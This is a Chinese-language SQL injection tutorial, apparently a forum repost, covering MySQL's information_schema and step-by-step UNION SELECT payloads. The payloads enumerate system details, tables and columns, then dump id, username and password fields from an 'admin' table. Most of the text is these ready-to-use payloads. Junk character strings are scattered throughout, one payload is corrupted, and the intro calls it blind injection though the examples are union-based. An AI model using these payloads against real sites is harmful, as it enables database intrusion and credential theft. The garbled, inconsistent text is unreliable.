mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
. t1 V8 `2 k. ^: K: E% [! L8 x; q
学习盲注前先了解下 IFORMATION_SCHEMA 库

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
/ g* v  d, U: S' [1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
7 t4 N; ]: W# c$ W|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
! r6 B+ m# L. P# b7 W|---字段：TABLE_NAME ->存储表的表名

- b9 G' v0 n% M9 E* ]6 V; b* h|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称

|---字段：COLUMN_NAME ->该字段的名称
, e& j& ]& @8 A' E9 Q  h
  D3 K6 d6 K8 r. s

2 A; R8 x4 K9 s/ F) W###########################################################################
1 R: C# k4 S7 @7 s
0x001 获取系统信息:
7 C; I3 p9 e# h9 h. z
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
  R9 o1 ?- }  v7 P; [
@@global.version_compile_os 获取系统版本

) H( U0 \' n* k+ T* `4 D$ U  ?@@datadir 数据库路径
+ Z+ Q" S" e  |- `4 }9 u/ }( Qdatabase() 当前数据库名称
/ O- x8 u; [: a7 P0x3c62723e 换行HEX值
3 z: D$ i8 N* A! o; [6 p
*/

$ x7 A2 @3 ]" e0 [2 \: G1 S( }
' }0 o, B- o- U4 a/ A$ E. W0 n. O7 v
4 p" t, F) z: r, ~######################################################################
9 d, X! Y+ F- F! b. `7 d
0x002 获取表名
0 G8 b/ q4 C% [2 j5 w
; X9 ?3 h( h% Y; t' T6 Y( y1 Xunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
+ m6 }! b/ p( I4 y: b
, K9 r. ^0 B. _- u: O

1 P  X, i9 ], t( x( i9 p. p/*

0x67617264656e 为当前数据库名

+ W3 S1 x1 |0 wgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
  U4 t  D" [9 E8 i' C" H1 C
######################################################################
- S. d0 n  |* z- x1 j9 z: d

) I* Z6 d2 ?# a. ?! [7 v9 H+ N
$ U7 M7 f' S8 z( ^. R& D) X4 {' d  A7 F0x003 获取字段
. k; t( ]( }" M7 M: j% u8 ]; I; w
# W- ^% I; y8 O" eunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表

0x67617264656e ->数据库名

*/

#####################################################################


2 J4 a& ]$ l# [
8 t2 p+ r1 C! S. w* _0 `4 Z! ]6 }0x004 获取数据
5 X, W6 D2 W  A. Y( O
+ F% E( ?8 b) {5 L1 y9 uunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
" L' D5 J; L* s6 l
4 @7 j' d, V( L2 h2 zunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin

0 p% Q$ O. \# Z; I

1 j# ~2 }3 R( @6 D$ t& n5 }/*

/ f5 H6 p) T6 N/ [/ J0x3c62723e 换行符号HEX编码

( {4 X% ]3 H9 [' |7 d* m# Agroup_concat 同时获得该字段所有数据
* s( i) u* ~8 P. }
*/

! P+ R9 |( M" @1 {% m$ ?8 s